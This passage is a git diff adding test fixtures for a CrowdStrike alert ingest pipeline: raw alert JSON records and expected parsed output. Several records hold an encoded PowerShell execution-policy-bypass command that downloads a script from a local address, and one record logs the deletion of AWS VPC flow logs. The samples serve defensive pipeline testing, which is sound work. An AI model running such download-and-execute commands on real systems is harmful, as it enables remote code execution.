ering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"}
+{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"}
+{"attack_types":["Defense Evasion"],"aws_access_key_id":"ASIA****************","aws_recipient_account_id":"XXXXXXXXXXXX","aws_user_account_id":"XXXXXXXXXXXX","cid":"bdc3e3474d8848f1**************","cloud_account_id":"XXXXXXXXXXXX","cloud_provider":"aws","cloud_region":"us-east-2","composite_id":"bdc3e3474d8848f1**************:fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94","crawled_timestamp":"2026-01-27T20:34:47.330975395Z","created_timestamp":"2026-01-27T20:34:47.330964263Z","data_domains":["Cloud"],"device":{"service_provider":"aws","service_provider_account_id":"XXXXXXXXXXXX"},"display_name":"VPC flow logs disabled","event_category":"Management","event_count":1,"event_id":"09a917ca-d430-4cd2-ae55-ceaec7e7dc94","event_name":"DeleteFlowLogs","event_source":"ec2.amazonaws.com","event_type":"AwsApiCall","falcon_host_link":"https://falcon.us-2.crowdstrike.com/unified-detections/<redacted>","fcs_vertex_id":"206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94:ioa","first_timestamp":"2026-01-27T20:25:22.94Z","id":"fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94","last_timestamp":"2026-01-27T20:25:22.94Z","mfa_authenticated":"true","mitre_attack":[{"pattern_id":2036,"tactic_id":"TA0005","technique_id":"T1562.008","tactic":"Defense Evasion","technique":"Impair Defenses:Disable Cloud Logs"}],"name":"VPC flow logs disabled","origin_cid":"bdc3e3474d8848f1**************","pattern_id":2036,"policy_id":"206","policy_statement":"VPC flow logs disabled","poly_id":"<redacted>","product":"fcs","request_parameters":"{\"DeleteFlowLogsRequest\":{\"FlowLogId\":{\"content\":\"fl-***************\",\"tag\":1}}}","resource_gcrn":"bdc3e3474d8848f1**************|aws|XXXXXXXXXXXX|us-east-2|AWS::EC2::FlowLog|fl-***************","resource_uuid":"<redacted>","response_elements":"{\"DeleteFlowLogsResponse\":{\"requestId\":\"<redacted>\",\"unsuccessful\":\"\",\"xmlns\":\"http://ec2.amazonaws.com/doc/2016-11-15/\"}}","seconds_to_resolved":0,"seconds_to_triaged":0,"service":"VPC","severity":40,"severity_name":"Medium","show_in_ui":true,"source_account_name":"elastic-siem","source_ip_address":"34.194.234.218","source_products":["Falcon Cloud Security"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Defense Evasion","tactic_id":"TA0005","technique":"Impair Defenses:Disable Cloud Logs","technique_id":"T1562.008","timestamp":"2026-01-27T20:34:37Z","type":"cloud-ioa","updated_timestamp":"2026-01-27T20:34:47.330964263Z","user_agent":"<redacted>","user_display_name":"user@example.com","user_name":"user@example.com","user_principal_id":"AIDA*************"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
new file mode 100644
index 0000000000..f5b6831dd2
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
@@ -0,0 +1,2133 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-11-03T18:00:22.328Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "alleged_filetype": "exe",
+                    "cid": "92012896127c4a948236ba7601b886b0",
+                    "cloud_indicator": false,
+                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "confidence": 10,
+                    "context_timestamp": "2023-11-03T18:00:31.000Z",
+                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+                    "crawl_edge_ids": {
+                        "Sensor": [
+                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
+                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
+                        ]
+                    },
+                    "crawl_vertex_ids": {
+                        "Sensor": [
+                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                        ]
+                    },
+                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+                    "created_timestamp": "2023-11-03T18:01:23.995Z",
+                    "data_domains": [
+                        "Endpoint"
+                    ],
+                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+                    "device": {
+                        "agent_load_flags": 0,
+                        "agent_local_time": "2023-10-12T03:45:57.753Z",
+                        "agent_version": "7.04.17605.0",
+                        "bios_manufacturer": "ABC",
+                        "bios_version": "F8CN42WW(V2.05)",
+                        "cid": "92012896127c4a948236ba7601b886b0",
+                        "config_id_base": "65994763",
+                        "config_id_build": "17605",
+                        "config_id_platform": 3,
+                        "external_ip": "81.2.69.142",
+                        "first_seen": "2023-04-07T09:36:36.000Z",
+                        "groups": [
+                            "18704e21288243b58e4c76266d38caaf"
+                        ],
+                        "hostinfo": {
+                            "active_directory_dn_display": [
+                                "WinComputers",
+                                "WinComputers\\ABC"
+                            ],
+                            "domain": "ABC.LOCAL"
+                        },
+                        "hostname": "ABC709-1175",
+                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                        "last_seen": "2023-11-03T17:51:42.000Z",
+                        "local_ip": "81.2.69.142",
+                        "mac_address": "AB-21-48-61-05-B2",
+                        "machine_domain": "ABC.LOCAL",
+                        "major_version": "10",
+                        "minor_version": "0",
+                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                        "os_version": "Windows11",
+                        "ou": [
+                            "ABC",
+                            "WinComputers"
+                        ],
+                        "platform_id": "0",
+                        "platform_name": "Windows",
+                        "product_type": "1",
+                        "product_type_desc": "Workstation",
+                        "site_name": "Default-First-Site-Name",
+                        "status": "normal",
+                        "system_manufacturer": "LENOVO",
+                        "system_product_name": "20VE"
+                    },
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "grandparent_details": {
+                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                        "filename": "userinit.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                        "local_process_id": "4328",
+                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                        "process_id": "392734873135",
+                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                        "timestamp": "2023-10-30T16:49:19.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "yuvraj.mahajan"
+                    },
+                    "has_script_or_module_ioc": true,
+                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "ioc_context": [
+                        {
+                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "ioc_source": "library_load",
+                            "ioc_type": "hash_sha256",
+                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "type": "module"
+                        }
+                    ],
+                    "ioc_values": [
+                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                    ],
+                    "is_synthetic_quarantine_disposition": true,
+                    "local_process_id": "17076",
+                    "logon_domain": "ABSYS",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "name": "PrewittPupAdwareSensorDetect-Lowest",
+                    "objective": "FalconDetectionMethod",
+                    "overwatch_note": "Activity Notice: OverWatch has observed XYZ",
+                    "overwatch_note_timestamp": "2025-03-01T15:31:00.000Z",
+                    "parent_details": {
+                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                        "filename": "explorer.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                        "local_process_id": "1040",
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                        "process_id": "392736520876",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                        "timestamp": "2023-11-03T18:00:32.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "mohit.jha"
+                    },
+                    "parent_process_id": "392736520876",
+                    "pattern_disposition": 2176,
+                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+                    "pattern_disposition_details": {
+                        "blocking_unsupported_or_disabled": false,
+                        "bootup_safeguard_enabled": false,
+                        "critical_process_disabled": false,
+                        "detect": false,
+                        "fs_operation_blocked": false,
+                        "handle_operation_downgraded": false,
+                        "inddet_mask": false,
+                        "indicator": false,
+                        "kill_action_failed": false,
+                        "kill_parent": false,
+                        "kill_process": false,
+                        "kill_subprocess": false,
+                        "operation_blocked": false,
+                        "policy_disabled": false,
+                        "process_blocked": true,
+                        "quarantine_file": true,
+                        "quarantine_machine": false,
+                        "registry_operation_blocked": false,
+                        "rooting": false,
+                        "sensor_only": false,
+                        "suspend_parent": false,
+                        "suspend_process": false
+                    },
+                    "pattern_id": "5761",
+                    "platform": "Windows",
+                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+                    "process_end_time": "2023-11-03T18:00:21.000Z",
+                    "process_id": "399748687993",
+                    "process_start_time": "2023-11-03T18:00:13.000Z",
+                    "product": "epp",
+                    "quarantined_files": [
+                        {
+                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "state": "quarantined"
+                        }
+                    ],
+                    "rule_group_id": "1b27b7f123c44e15a13fe7f44801d123",
+                    "rule_group_name": "Windows Group",
+                    "rule_instance_created_by": "myuser@mydomain.com",
+                    "rule_instance_id": "123",
+                    "rule_instance_name": "INSTANCE-1",
+                    "rule_instance_version": "1",
+                    "scenario": "NGAV",
+                    "severity": 30,
+                    "severity_name": "low",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "show_in_ui": true,
+                    "source_products": [
+                        "FalconInsight"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "MachineLearning",
+                    "tactic_id": "CSTA0004",
+                    "technique": "Adware/PUP",
+                    "technique_id": "CST0000",
+                    "timestamp": "2023-11-03T18:00:22.328Z",
+                    "tree_id": "1931778",
+                    "tree_root": "38687993",
